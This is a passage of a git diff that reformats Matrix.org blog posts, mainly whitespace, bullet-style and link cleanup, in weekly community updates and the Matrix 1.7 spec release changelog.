of Okio media store ## Dept of Bots 🤖 @@ -242,11 +247,11 @@ Multiplatform Kotlin SDK for Matrix [bnjbvr](https://matrix.to/#/@bnjbvr:delire.party) reports > Matrix bots in Rust and WebAssembly. If you're interested to follow the project, feel free to join [#trinity:delire.party](https://matrix.to/#/#trinity:delire.party) or get the code on [Github](https://github.com/bnjbvr/trinity). -> +> > Since last time, we've upgraded to the latest version of wasmtime, wit-bindgen and cargo-component, and even found [a bug in the toolchain](https://github.com/bytecodealliance/cargo-component/issues/80)! Thanks to the Bytecode Alliance folks for helping with a workaround. -> +> > We've also converted all the bot commands so they make use of the simpler `libcommand` API, and thanks to that, we could add support for emoji reactions easily. Now the bot will report success by adding 👌 annotation to the (human) request. -> +> > The bot will also report its presence as disconnected as soon as the program exits (and automatically mark itself connected when it gets back, but that part is thanks to the Rust SDK 💜). ## Dept of Events and Talks 🗣️ @@ -256,15 +261,15 @@ Multiplatform Kotlin SDK for Matrix [Christian Paul (jaller94)](https://matrix.to/#/@jaller94:matrix.org) reports > To follow up on the overwhelmingly successful conference last year, we're planning a second Matrix Community Summit in Berlin. We expect this to have 3 days of activities. -> +> > * Thu, 21st Sep: BarCamp day (attendees pitch topics and vote for which to discuss) > * Fri, 22nd Sep: Conference day > * Sat, 23rd Sep: Conference day -> +> > The website and Call for Presentations is being worked on. Expect both to be announced here in the following weeks. -> -> This event will take place in Berlin, with the most likely location being the one from last year: The famous hacker space c-base. If you know any place more suited for a conference, please contact us. https://matrix.to/#/#matrix-community-summit:c-base.org -> +> +> This event will take place in Berlin, with the most likely location being the one from last year: The famous hacker space c-base. If you know any place more suited for a conference, please contact us. +> > Your Matrix Salon Berlin ## Dept of Interesting Projects 🛰️ @@ -274,19 +279,19 @@ Multiplatform Kotlin SDK for Matrix [Eric Migicovsky](https://matrix.to/#/@eric:beeper.com) announces > I announced a little side project yesterday: Beepberry - a portable e-paper computer for hackers, designed for chatting on Beeper (universal messaging app built on top of Matrix). My day job is running [Beeper](https://beeper.com/), but I will always have a soft spot for building hardware (I was the founder of Pebble). -> +> > I wanted to create a ‘weekend’ device that would let me stay in touch with friends and family, without the distractions of a full smartphone. I imagined a tiny, hackable e-paper screen with a physical keyboard, powered by a Raspberry Pi, that I could use to chat around my home…and do pretty much nothing else. -> +> > Before Matrix, the idea probably would not have gone anywhere. Most chat apps do not have an API, making it practically impossible to hack something like this together. -> -> I partnered with [sqmfi](https://twitter.com/sqfmi) and they’re starting to take pre-orders at https://beepberry.sqfmi.com for the first batch. It’s $79 (or $99 including a Pi Zero). Specs: Sharp Memory LCD (same display tech as in Pebble!), Pi Zero (BT/WIFI), physical keyboard, 2000mAh lipo. -> +> +> I partnered with [sqmfi](https://twitter.com/sqfmi) and they’re starting to take pre-orders at for the first batch. It’s $79 (or $99 including a Pi Zero). Specs: Sharp Memory LCD (same display tech as in Pebble!), Pi Zero (BT/WIFI), physical keyboard, 2000mAh lipo. +> > On top of being an amazing chat device, it’s basically an e-paper Cyberdeck that fits in your pocket. It’s a ton of fun to hack on. Keep in mind - THIS IS NOT A REAL FINISHED PRODUCT. It’s basically a devkit. -> -> More info in the blog post: https://blog.beeper.com/p/beeper-x-sqmfi-beepberry, or join `#beeper-general:beeper.com` -> -> Here's what it looks like running a slightly customized version of [gomuks](https://github.com/tulir/gomuks/tree/beepberry): https://www.youtube.com/watch?v=fIgzybDcvYk -> +> +> More info in the blog post: , or join `#beeper-general:beeper.com` +> +> Here's what it looks like running a slightly customized version of [gomuks](https://github.com/tulir/gomuks/tree/beepberry): +> > If you are a hacker and want to apply to get one early, fill in [this form](https://docs.google.com/forms/d/e/1FAIpQLScke9gVW86McF3NQB6hFtxSz8nMlbEYUPvr4cpG5gHUSGIHpg/viewform) after ordering. ### NeoBoard ([website](https://github.com/nordeck/matrix-neoboard)) @@ -294,11 +299,12 @@ Multiplatform Kotlin SDK for Matrix [Dominik Henneke](https://matrix.to/#/@dhenneke:matrix.org) reports > We are pleased to announce the [NeoBoard](https://github.com/nordeck/matrix-neoboard) — an open-source collaborative whiteboard widget for Matrix! The NeoBoard is an ideal tool for creating and sharing content, conducting presentations, and collaborating with colleagues or friends. All data is stored as Matrix events within the Matrix room, leveraging Matrix's native end-to-end encryption, decentralization, and data privacy features. -> +> > The widget uses CRDT documents (conflict-free replicated data type) and WebRTC to provide a seamless and fast editing experience. It is used in the German public sector and is now available to anyone looking for a powerful and secure way to collaborate. -> +> > The NeoBoard is the latest widget from [Nordeck](https://github.com/nordeck), which we have been developing behind the scenes in the past months, and we're excited to finally share it with the Matrix community. If you have any questions, reach out to us at [#nordeck:matrix.org](https://matrix.to/#/#nordeck:matrix.org). -> +> +> > ![](/blog/img/2023-05-19-neoboard.png) ## That's all I know diff --git a/content/blog/2023/05/2023-05-25-matrix-v1-7-release.md b/content/blog/2023/05/2023-05-25-matrix-v1-7-release.md index f9dd1440e..a41dc577a 100644 --- a/content/blog/2023/05/2023-05-25-matrix-v1-7-release.md +++ b/content/blog/2023/05/2023-05-25-matrix-v1-7-release.md @@ -28,7 +28,6 @@ Meanwhile, MSC2246 (largely specified [here](https://spec.matrix.org/v1.7/client History would indicate that we’ve got several years to go before the next major improvement to media, but we’re looking to change that: [MSC3916: Authentication for media](https://github.com/matrix-org/matrix-spec-proposals/pull/3916), [MSC4016: Streaming E2EE file transfers](https://github.com/matrix-org/matrix-spec-proposals/pull/4016), and [MSC3870: Upload direct to URL](https://github.com/matrix-org/matrix-spec-proposals/pull/3870) are all fairly promising MSCs we’re planning to take a look at in the next year or so. - ## 💖 Reactions are here Reactions have actually been in use for quite some time already, but the MSC struggled to make it into the spec formally. With Matrix 1.7 though, [MSC2677](https://github.com/matrix-org/matrix-spec-proposals/pull/2677) is [merged](https://spec.matrix.org/v1.7/client-server-api/#event-annotations-and-reactions). @@ -41,8 +40,6 @@ One of the best parts about writing an MSC is eventually seeing it released in t In no particular order: - - * [benkuly](https://github.com/benkuly) with [MSC3925](https://github.com/matrix-org/matrix-spec-proposals/pull/3925) (their first ever MSC!). * [Fizzadar](https://github.com/Fizzadar) with [MSC3758](https://github.com/matrix-org/matrix-spec-proposals/pull/3758) and [MSC3860](https://github.com/matrix-org/matrix-spec-proposals/pull/3860). * [hughns](https://github.com/hughns) with [MSC3970](https://github.com/matrix-org/matrix-spec-proposals/pull/3970) and [MSC3882](https://github.com/matrix-org/matrix-spec-proposals/pull/3882). @@ -50,7 +47,6 @@ In no particular order: Anyone can contribute MSCs, improving the whole of Matrix for everyone. If you have an idea (or bugfix), check out the [guidelines](https://github.com/matrix-org/matrix-spec-proposals#matrix-specification-proposals) and let us know if you run into any questions in [#matrix-spec:matrix.org](https://matrix.to/#/#matrix-spec:matrix.org) on Matrix - we’re always happy to help. - ## 🔜 Early considerations for Matrix 1.8 The SCT aims to cut a release in the middle of each calendar quarter, largely to avoid most conflicts with regional holidays, and since Matrix 1.1 the releases have been getting less and less organic. Instead of looking at MSCs whenever they’re raised, the SCT has been aiming to hear about which MSCs will need looking at. This is a very subtle difference, but one that dramatically changes how the quarterly releases are structured. @@ -70,138 +66,106 @@ Critically, our release planning does not just include MSCs that are on track fo As is the theme for this section, if you have any questions about what the release process looks like (or where a given MSC currently sits in the roadmap), let us know in the [SCT Office room](https://matrix.to/#/#sct-office:matrix.org). - ## The full changelog There’s so many more things than what we covered in this blog post - flip through the changelog below for a full idea of what’s landed. Special thanks to [MichaelKohler](https://github.com/MichaelKohler), [zecakeh](https://github.com/zecakeh), and [Cadair](https://github.com/Cadair) for contributing clarification & bug fix PRs in this release - we greatly appreciate it! - ### Client-Server API - New Endpoints - -- [`POST /_matrix/media/v1/create`](/client-server-api/#post_matrixmediav1create) ([#1499](https://github.com/matrix-org/matrix-spec/issues/1499)) -- [`PUT /_matrix/media/v3/upload/{serverName}/{mediaId}`](/client-server-api/#put_matrixmediav3uploadservernamemediaid) ([#1499](https://github.com/matrix-org/matrix-spec/issues/1499)) -- [`POST /_matrix/client/v1/login/get_token`](/client-server-api/#post_matrixclientv1loginget_token) ([#1530](https://github.com/matrix-org/matrix-spec/issues/1530)) - +* [`POST /_matrix/media/v1/create`](/client-server-api/#post_matrixmediav1create) ([#1499](https://github.com/matrix-org/matrix-spec/issues/1499)) +* [`PUT /_matrix/media/v3/upload/{serverName}/{mediaId}`](/client-server-api/#put_matrixmediav3uploadservernamemediaid) ([#1499](https://github.com/matrix-org/matrix-spec/issues/1499)) +* [`POST /_matrix/client/v1/login/get_token`](/client-server-api/#post_matrixclientv1loginget_token) ([#1530](https://github.com/matrix-org/matrix-spec/issues/1530)) Backwards Compatible Changes - -- Changes to the server-side aggregation of `m.replace` (edit) events, as per [MSC3925](https://github.com/matrix-org/matrix-spec-proposals/pull/3925). ([#1440](https://github.com/matrix-org/matrix-spec/issues/1440), [#1525](https://github.com/matrix-org/matrix-spec/issues/1525)) -- Add new push rule conditions `event_property_is` and `event_property_contains`, as per [MSC3758](https://github.com/matrix-org/matrix-spec-proposals/pull/3758) and [MSC3966](https://github.com/matrix-org/matrix-spec-proposals/pull/3966). ([#1464](https://github.com/matrix-org/matrix-spec/issues/1464)) -- Add `m.annotation` relations (reactions), as per [MSC2677](https://github.com/matrix-org/matrix-spec-proposals/pull/2677). ([#1475](https://github.com/matrix-org/matrix-spec/issues/1475), [#1531](https://github.com/matrix-org/matrix-spec/issues/1531)) -- Support asynchronous media uploads, as per [MSC2246](https://github.com/matrix-org/matrix-spec-proposals/pull/2246). ([#1499](https://github.com/matrix-org/matrix-spec/issues/1499), [#1510](https://github.com/matrix-org/matrix-spec/issues/1510)) -- Document the `m.mentions` property; the `.m.rule.is_user_mention` and `.m.rule.is_room_mention` push rules; and other notification behaviour, as per [MSC3952](https://github.com/matrix-org/matrix-spec-proposals/pull/3952). ([#1508](https://github.com/matrix-org/matrix-spec/issues/1508)) -- Improve VoIP signaling, as per [MSC2746](https://github.com/matrix-org/matrix-spec-proposals/pull/2746). ([#1511](https://github.com/matrix-org/matrix-spec/issues/1511), [#1540](https://github.com/matrix-org/matrix-spec/issues/1540)) -- Update the scope of transaction IDs, as per [MSC3970](https://github.com/matrix-org/matrix-spec-proposals/pull/3970). ([#1526](https://github.com/matrix-org/matrix-spec/issues/1526)) -- Add an ability to redirect media downloads, as per [MSC3860](https://github.com/matrix-org/matrix-spec-proposals/pull/3860). ([#1529](https://github.com/matrix-org/matrix-spec/issues/1529)) -- Add an ability to use an existing session to log in another, as per [MSC3882](https://github.com/matrix-org/matrix-spec-proposals/pull/3882). ([#1530](https://github.com/matrix-org/matrix-spec/issues/1530)) - +* Changes to the server-side aggregation of `m.replace` (edit) events, as per [MSC3925](https://github.com/matrix-org/matrix-spec-proposals/pull/3925). ([#1440](https://github.com/matrix-org/matrix-spec/issues/1440), [#1525](https://github.com/matrix-org/matrix-spec/issues/1525)) +* Add new push rule conditions `event_property_is` and `event_property_contains`, as per [MSC3758](https://github.com/matrix-org/matrix-spec-proposals/pull/3758) and [MSC3966](https://github.com/matrix-org/matrix-spec-proposals/pull/3966). ([#1464](https://github.com/matrix-org/matrix-spec/issues/1464)) +* Add `m.annotation` relations (reactions), as per [MSC2677](https://github.com/matrix-org/matrix-spec-proposals/pull/2677). ([#1475](https://github.com/matrix-org/matrix-spec/issues/1475), [#1531](https://github.com/matrix-org/matrix-spec/issues/1531)) +* Support asynchronous media uploads, as per [MSC2246](https://github.com/matrix-org/matrix-spec-proposals/pull/2246). ([#1499](https://github.com/matrix-org/matrix-spec/issues/1499), [#1510](https://github.com/matrix-org/matrix-spec/issues/1510)) +* Document the `m.mentions` property; the `.m.rule.is_user_mention` and `.m.rule.is_room_mention` push rules; and other notification behaviour, as per [MSC3952](https://github.com/matrix-org/matrix-spec-proposals/pull/3952). ([#1508](https://github.com/matrix-org/matrix-spec/issues/1508)) +* Improve VoIP signaling, as per [MSC2746](https://github.com/matrix-org/matrix-spec-proposals/pull/2746). ([#1511](https://github.com/matrix-org/matrix-spec/issues/1511), [#1540](https://github.com/matrix-org/matrix-spec/issues/1540)) +* Update the scope of transaction IDs, as per [MSC3970](https://github.com/matrix-org/matrix-spec-proposals/pull/3970). ([#1526](https://github.com/matrix-org/matrix-spec/issues/1526)) +* Add an ability to redirect media downloads, as per [MSC3860](https://github.com/matrix-org/matrix-spec-proposals/pull/3860). ([#1529](https://github.com/matrix-org/matrix-spec/issues/1529)) +* Add an ability to use an existing session to log in another, as per [MSC3882](https://github.com/matrix-org/matrix-spec-proposals/pull/3882). ([#1530](https://github.com/matrix-org/matrix-spec/issues/1530)) Spec Clarifications - -- Clarify the sections of the specification concerning aggregation of child events. ([#1424](https://github.com/matrix-org/matrix-spec/issues/1424)) -- Fix various typos throughout the specification. ([#1432](https://github.com/matrix-org/matrix-spec/issues/1432), [#1442](https://github.com/matrix-org/matrix-spec/issues/1442), [#1447](https://github.com/matrix-org/matrix-spec/issues/1447), [#1455](https://github.com/matrix-org/matrix-spec/issues/1455), [#1465](https://github.com/matrix-org/matrix-spec/issues/1465), [#1500](https://github.com/matrix-org/matrix-spec/issues/1500), [#1509](https://github.com/matrix-org/matrix-spec/issues/1509)) -- Clarify that reply chain fallback for threads might not be present. ([#1439](https://github.com/matrix-org/matrix-spec/issues/1439)) -- Clarify what event property the content-specific push rules match against. ([#1441](https://github.com/matrix-org/matrix-spec/issues/1441)) -- Clarify the semantics that make requests idempotent. ([#1449](https://github.com/matrix-org/matrix-spec/issues/1449)) -- Improve documentation of how clients use push rules. ([#1461](https://github.com/matrix-org/matrix-spec/issues/1461)) -- Clarify that servers should enforce a default `limit` on a filter if one is not specified. ([#1463](https://github.com/matrix-org/matrix-spec/issues/1463)) -- Disambiguate using property names with dots in them during push rule processing, as per [MSC3873](https://github.com/matrix-org/matrix-spec-proposals/pull/3873) and [MSC3980](https://github.com/matrix-org/matrix-spec-proposals/pull/3980). ([#1464](https://github.com/matrix-org/matrix-spec/issues/1464)) -- Fix phrasing & typography in the registration endpoint description. Contributed by @HarHarLinks. ([#1474](https://github.com/matrix-org/matrix-spec/issues/1474)) -- Remove outdated text saying that `state_default` is 0 if there is no `m.room.power_levels` event in a room. ([#1479](https://github.com/matrix-org/matrix-spec/issues/1479)) -- Remove fictitious `token` parameter on `/keys/query` endpoint. ([#1485](https://github.com/matrix-org/matrix-spec/issues/1485)) -- Fix rendering of properties with a list of types. ([#1487](https://github.com/matrix-org/matrix-spec/issues/1487)) -- Clarify parts of the cross-signing signature upload request. ([#1495](https://github.com/matrix-org/matrix-spec/issues/1495)) -- Remove the `dont_notify` and `coalesce` push rule actions, as per [MSC3987](https://github.com/matrix-org/matrix-spec-proposals/pull/3987). ([#1501](https://github.com/matrix-org/matrix-spec/issues/1501)) -- Clarify `m.location` scheme by partially reverting [f1f32d3](https://github.com/matrix-org/matrix-spec/commit/f1f32d3a15c325ee8aa9d2c6bafd96c38069bb53). Contributed by @HarHarLinks. ([#1507](https://github.com/matrix-org/matrix-spec/issues/1507)) -- Add missing `knock_restricted` join rule to the `m.room.join_rules` schema. ([#1535](https://github.com/matrix-org/matrix-spec/issues/1535)) - +* Clarify the sections of the specification concerning aggregation of child events. ([#1424](https://github.com/matrix-org/matrix-spec/issues/1424)) +* Fix various typos throughout the specification. ([#1432](https://github.com/matrix-org/matrix-spec/issues/1432), [#1442](https://github.com/matrix-org/matrix-spec/issues/1442), [#1447](https://github.com/matrix-org/matrix-spec/issues/1447), [#1455](https://github.com/matrix-org/matrix-spec/issues/1455), [#1465](https://github.com/matrix-org/matrix-spec/issues/1465), [#1500](https://github.com/matrix-org/matrix-spec/issues/1500), [#1509](https://github.com/matrix-org/matrix-spec/issues/1509)) +* Clarify that reply chain fallback for threads might not be present. ([#1439](https://github.com/matrix-org/matrix-spec/issues/1439)) +* Clarify what event property the content-specific push rules match against. ([#1441](https://github.com/matrix-org/matrix-spec/issues/1441)) +* Clarify the semantics that make requests idempotent. ([#1449](https://github.com/matrix-org/matrix-spec/issues/1449)) +* Improve documentation of how clients use push rules. ([#1461](https://github.com/matrix-org/matrix-spec/issues/1461)) +* Clarify that servers should enforce a default `limit` on a filter if one is not specified. ([#1463](https://github.com/matrix-org/matrix-spec/issues/1463)) +* Disambiguate using property names with dots in them during push rule processing, as per [MSC3873](https://github.com/matrix-org/matrix-spec-proposals/pull/3873) and [MSC3980](https://github.com/matrix-org/matrix-spec-proposals/pull/3980). ([#1464](https://github.com/matrix-org/matrix-spec/issues/1464)) +* Fix phrasing & typography in the registration endpoint description. Contributed by @HarHarLinks. ([#1474](https://github.com/matrix-org/matrix-spec/issues/1474)) +* Remove outdated text saying that `state_default` is 0 if there is no `m.room.power_levels` event in a room. ([#1479](https://github.com/matrix-org/matrix-spec/issues/1479)) +* Remove fictitious `token` parameter on `/keys/query` endpoint. ([#1485](https://github.com/matrix-org/matrix-spec/issues/1485)) +* Fix rendering of properties with a list of types. ([#1487](https://github.com/matrix-org/matrix-spec/issues/1487)) +* Clarify parts of the cross-signing signature upload request. ([#1495](https://github.com/matrix-org/matrix-spec/issues/1495)) +* Remove the `dont_notify` and `coalesce` push rule actions, as per [MSC3987](https://github.com/matrix-org/matrix-spec-proposals/pull/3987). ([#1501](https://github.com/matrix-org/matrix-spec/issues/1501)) +* Clarify `m.location` scheme by partially reverting [f1f32d3](https://github.com/matrix-org/matrix-spec/commit/f1f32d3a15c325ee8aa9d2c6bafd96c38069bb53). Contributed by @HarHarLinks. ([#1507](https://github.com/matrix-org/matrix-spec/issues/1507)) +* Add missing `knock_restricted` join rule to the `m.room.join_rules` schema. ([#1535](https://github.com/matrix-org/matrix-spec/issues/1535)) ### Server-Server API - Spec Clarifications - -- Fix various typos throughout the specification. ([#1431](https://github.com/matrix-org/matrix-spec/issues/1431), [#1447](https://github.com/matrix-org/matrix-spec/issues/1447), [#1466](https://github.com/matrix-org/matrix-spec/issues/1466), [#1518](https://github.com/matrix-org/matrix-spec/issues/1518)) -- Fix PDU examples by removing invalid OpenAPI reference to `examples/minimal_pdu.json`. ([#1454](https://github.com/matrix-org/matrix-spec/issues/1454)) -- Remove leftover `{key_id}` from `/_matrix/key/v2/server/`. ([#1473](https://github.com/matrix-org/matrix-spec/issues/1473)) -- Remove extraneous `age_ts` field from the reference hash calculation section. ([#1536](https://github.com/matrix-org/matrix-spec/issues/1536)) - +* Fix various typos throughout the specification. ([#1431](https://github.com/matrix-org/matrix-spec/issues/1431), [#1447](https://github.com/matrix-org/matrix-spec/issues/1447), [#1466](https://github.com/matrix-org/matrix-spec/issues/1466), [#1518](https://github.com/matrix-org/matrix-spec/issues/1518)) +* Fix PDU examples by removing invalid OpenAPI reference to `examples/minimal_pdu.json`. ([#1454](https://github.com/matrix-org/matrix-spec/issues/1454)) +* Remove leftover `{key_id}` from `/_matrix/key/v2/server/`. ([#1473](https://github.com/matrix-org/matrix-spec/issues/1473)) +* Remove extraneous `age_ts` field from the reference hash calculation section. ([#1536](https://github.com/matrix-org/matrix-spec/issues/1536)) ### Application Service API - New Endpoints - -- [`POST /_matrix/app/v1/ping`](/application-service-api/#post_matrixappv1ping) ([#1516](https://github.com/matrix-org/matrix-spec/issues/1516)) -- [`POST /_matrix/client/v1/appservice/{appserviceId}/ping`](/application-service-api/#post_matrixclientv1appserviceappserviceidping) ([#1516](https://github.com/matrix-org/matrix-spec/issues/1516)) - +* [`POST /_matrix/app/v1/ping`](/application-service-api/#post_matrixappv1ping) ([#1516](https://github.com/matrix-org/matrix-spec/issues/1516)) +* [`POST /_matrix/client/v1/appservice/{appserviceId}/ping`](/application-service-api/#post_matrixclientv1appserviceappserviceidping) ([#1516](https://github.com/matrix-org/matrix-spec/issues/1516)) Backwards Compatible Changes - -- Add homeserver->appservice ping mechanism, as per [MSC2659](https://github.com/matrix-org/matrix-spec-proposals/pull/2659). Contributed by @tulir at @beeper. ([#1516](https://github.com/matrix-org/matrix-spec/issues/1516), [#1541](https://github.com/matrix-org/matrix-spec/issues/1541)) - +* Add homeserver->appservice ping mechanism, as per [MSC2659](https://github.com/matrix-org/matrix-spec-proposals/pull/2659). Contributed by @tulir at @beeper. ([#1516](https://github.com/matrix-org/matrix-spec/issues/1516), [#1541](https://github.com/matrix-org/matrix-spec/issues/1541)) Spec Clarifications - -- Fix various typos throughout the specification. ([#1447](https://github.com/matrix-org/matrix-spec/issues/1447)) - +* Fix various typos throughout the specification. ([#1447](https://github.com/matrix-org/matrix-spec/issues/1447)) ### Identity Service API - Spec Clarifications - -- Corrections to the response format of `/_matrix/identity/v2/store-invite`. ([#1486](https://github.com/matrix-org/matrix-spec/issues/1486)) - +* Corrections to the response format of `/_matrix/identity/v2/store-invite`. ([#1486](https://github.com/matrix-org/matrix-spec/issues/1486)) ### Push Gateway API - No significant changes. - ### Room Versions - Spec Clarifications - -- Clarifications of event ID formats in early room versions ([#1484](https://github.com/matrix-org/matrix-spec/issues/1484)) - +* Clarifications of event ID formats in early room versions ([#1484](https://github.com/matrix-org/matrix-spec/issues/1484)) ### Appendices - Spec Clarifications - -- Clarify that the term "Canonical JSON" is a specific thing within the Matrix specification. ([#1468](https://github.com/matrix-org/matrix-spec/issues/1468)) -- Remove references to groups. ([#1483](https://github.com/matrix-org/matrix-spec/issues/1483)) -- Clarifications of event ID formats in early room versions. ([#1484](https://github.com/matrix-org/matrix-spec/issues/1484)) - +* Clarify that the term "Canonical JSON" is a specific thing within the Matrix specification. ([#1468](https://github.com/matrix-org/matrix-spec/issues/1468)) +* Remove references to groups. ([#1483](https://github.com/matrix-org/matrix-spec/issues/1483)) +* Clarifications of event ID formats in early room versions. ([#1484](https://github.com/matrix-org/matrix-spec/issues/1484)) ### Internal Changes/Tooling - Spec Clarifications - -- Update references to Inter font. ([#1444](https://github.com/matrix-org/matrix-spec/issues/1444)) -- Endpoint disclosures now hide everything but the URL. ([#1446](https://github.com/matrix-org/matrix-spec/issues/1446)) -- Wrap $ref in allOf where other attributes are present, to improve OpenAPI compliance. ([#1457](https://github.com/matrix-org/matrix-spec/issues/1457)) -- Minor cleanups to the GitHub Actions workflows ([#1476](https://github.com/matrix-org/matrix-spec/issues/1476)) -- Fix generation of anchors for additional properties. ([#1488](https://github.com/matrix-org/matrix-spec/issues/1488)) -- Fix various typos throughout the specification. ([#1534](https://github.com/matrix-org/matrix-spec/issues/1534)) -- Document more of the spec release timeline/process. ([#1538](https://github.com/matrix-org/matrix-spec/issues/1538)) +* Update references to Inter font. ([#1444](https://github.com/matrix-org/matrix-spec/issues/1444)) +* Endpoint disclosures now hide everything but the URL. ([#1446](https://github.com/matrix-org/matrix-spec/issues/1446)) +* Wrap $ref in allOf where other attributes are present, to improve OpenAPI compliance. ([#1457](https://github.com/matrix-org/matrix-spec/issues/1457)) +* Minor cleanups to the GitHub Actions workflows ([#1476](https://github.com/matrix-org/matrix-spec/issues/1476)) +* Fix generation of anchors for additional properties. ([#1488](https://github.com/matrix-org/matrix-spec/issues/1488)) +* Fix various typos throughout the specification. ([#1534](https://github.com/matrix-org/matrix-spec/issues/1534)) +* Document more of the spec release timeline/process. ([#1538](https://github.com/matrix-org/matrix-spec/issues/1538)) diff --git a/content/blog/2023/05/2023-05-26-this-week-in-matrix-2023-05-26.md b/content/blog/2023/05/2023-05-26-this-week-in-matrix-2023-05-26.md index e3c7ac385..ef2b9666a 100644 --- a/content/blog/2023/05/2023-05-26-this-week-in-matrix-2023-05-26.md +++ b/content/blog/2023/05/2023-05-26-this-week-in-matrix-2023-05-26.md @@ -13,36 +13,36 @@ category = ["This Week in Matrix"] [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) announces -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status -> +> > **New MSCs:** -> +> > * [MSC4020: Room model configuration](https://github.com/matrix-org/matrix-spec-proposals/pull/4020) > * [MSC4019: Encrypted event relationships](https://github.com/matrix-org/matrix-spec-proposals/pull/4019) > * [MSC4018: Reliable call membership](https://github.com/matrix-org/matrix-spec-proposals/pull/4018) -> +> > **MSCs in Final Comment Period:** -> +> > * _No MSCs are in FCP._ -> +> > **Accepted MSCs:** -> +> > * _No MSCs were accepted this week._ -> +> > **Closed MSCs:** -> +> > * [WIP: MSC3588: Encrypted Stories As Rooms](https://github.com/matrix-org/matrix-spec-proposals/pull/3588) -> +> > ## Spec Updates -> +> > We released version 1.7 of the Matrix Spec on Thursday. This release features media repository improvements and reactions. Thank you to all who contributed to this release, whether through writing or reviewing MSCs, writing spec PRs, or finding spec bugs. And congratulations to those who had their first MSC make it to the release. Read the [blog post](https://matrix.org/blog/2023/05/25/matrix-v-1-7-release) for the full details. -> +> > We're in the process of working out what Matrix 1.8 looks like and need to hear what people are working on. If you have an MSC or idea you're planning on looking at in the next 2 months, let us know in #sct-office:matrix.org so we can prioritize it accordingly. -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC3184: Challenges Messages](https://github.com/matrix-org/matrix-spec-proposals/pull/3184)! This feature allows participants in a room to make decisions randomly by playing rock, paper, scissors; flipping a coin; or drawing straws. @@ -56,23 +56,21 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [dmr](https://matrix.to/#/@dmrobertson:matrix.org) announces > Happy Friday, everyone. This week we disclosed three security advisories for Synapse. The TL;DR is that you should upgrade to at least Synapse 1.74.0 or newer. Please see [the Matrix.org blogpost](https://matrix.org/blog/2023/05/24/disclosing-synapse-security-advisories) for links to the advisories. -> +> > Also of note is the release of [Synapse 1.84.0](https://github.com/matrix-org/synapse/releases/tag/v1.84.0) this Tuesday. New in this release is -> +> > * an option to [prevent downloading media from specified domains](https://github.com/matrix-org/synapse/issues/15197); > * a new set of [redis TLS configuration options](https://github.com/matrix-org/synapse/issues/15312) (Roel ter Maat); and > * addition support for [new](https://github.com/matrix-org/matrix-spec-proposals/pull/4009) and [stabilised](https://github.com/matrix-org/matrix-spec-proposals/pull/2659) MSCs. -> +> > Alongside this are a batch of bugfixes and internal improvements. We are aware of one regression in v1.84.0—expect a minor release with a fix to that sooner rather than later. -> +> > We've also begun an effort to profile and improve the performance of the `/messages` endpoint. That should benefit everyone, but in particular we hope to improve the UX of the [Matrix Public Archive](https://archive.matrix.org/). -> +> > Thank you as ever to our contributors, testers, and [community of server operators](https://matrix.to/#/#synapse:matrix.org). ## Dept of Clients 📱 - - ### Nheko ([website](https://nheko-reborn.github.io)) Desktop client for Matrix using Qt and C++17. @@ -80,14 +78,15 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) announces > Hey, it's been a while. Which means we were busy, just not with developing Nheko! However, we did do some stuff now: -> +> > * The sticker and emoji pickers now have sections and include both normal emojis and custom emojis in the emoji picker. This means your search results are also sectioned and you don't need to use ~ for custom emoji anymore. You can also now edit your custom emoji right from the picker (or rather open the settings menu from there). This should make going crazy with custom emoji much easier and I hope you have fun with it! > * LorenDB also finally fixed that pressing a key would focus the input bar but eat the first key. This was pretty annoying, but it should now behave much nicer! > * Sateallia meanwhile fixed a similar bug with the focus in the search menu on some platforms, implemented selecting multiple files to upload in the filepicker (before you only could drop a group of files into Nheko at once). > * You can now copy images from the image viewer to the clipboard. > * And lastly your rooms in the search are now ordered by recency of the last message. This should make rooms with the same name have always the right room appear on top. Additionally upgraded rooms are now in italics, which should make it still possible to jump to them, but also distinguish them in the search. -> +> > Have a nice day and try custom stickers and emojis some time! +> > ![](/blog/img/RpqJFQcQQnJkgifVovNDhxBI.png) ### Neochat ([website](https://invent.kde.org/network/neochat)) @@ -97,7 +96,7 @@ A client for matrix, the decentralized communication protocol [Tobias Fella](https://matrix.to/#/@tobiasfella:kde.org) announces > Here's what's happened in NeoChat in the last weeks: -> +> > * I (Tobias) implemented support for sending stickers, based on MSC2545. You can now send them from the emoji picker, which has also been improved visually. > * I also implemented support for editing your account's stickers in NeoChat's settings. Other parts of the MSC (room stickers, etc.) are coming soon. > * James improved read markers and state changed, limiting the number of the that are shown at the same time. @@ -112,12 +111,10 @@ A client for matrix, the decentralized communication protocol ### FluffyChat ([website](https://fluffychat.im)) - - [Krille-chan](https://matrix.to/#/@krille:janian.de) reports > 📢 This Week in FluffyChat 🐾 -> +> > Fixed memory leak and addressed minor bugs. > Made progress on new HTML rendering logic for upcoming release. > Translated FluffyChat into Chinese (Simplified), Croatian, Estonian, Galician, Indonesian, Romanian, Spanish, and Ukrainian. @@ -142,15 +139,15 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) announces > Here at Element web our week has been focused on notifications! -> +> > * In our journey to rid the ele-web-world of stuck notifications we’ve fixed several bugs. Unfortunately fixing these bugs has surfaced other existing bugs that make the experience worse :sob: -> - We’re hard at work on all these items, keeping the original fixes and introducing new fixes. +> * We’re hard at work on all these items, keeping the original fixes and introducing new fixes. > * While that means we’re skipping the public release this week, it does also mean that we’ll have made some significant improvement in our next version! > * Also on the topic of notifications we’re adding the final touches to our new notifications settings screens, ensuring that the push rules and toggles match up as you’d expect. > * Next week we’re **hosting a community testing session for our Intentional Mentions MSC**. The MSC aims to remove the unnecessary pings when people use your username in the timeline but do not tag you explicitly. -> - **Join us next Wednesday, 31 may 2023 from 7:00am PST to 8:30am PST (3:00pm - 4:30pm BST)** -> - Before joining the call, please complete the [consent form](https://forms.gle/fsfQusuhWNZFhQvq5) -> - For questions use the matrix room: [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) +> * **Join us next Wednesday, 31 may 2023 from 7:00am PST to 8:30am PST (3:00pm - 4:30pm 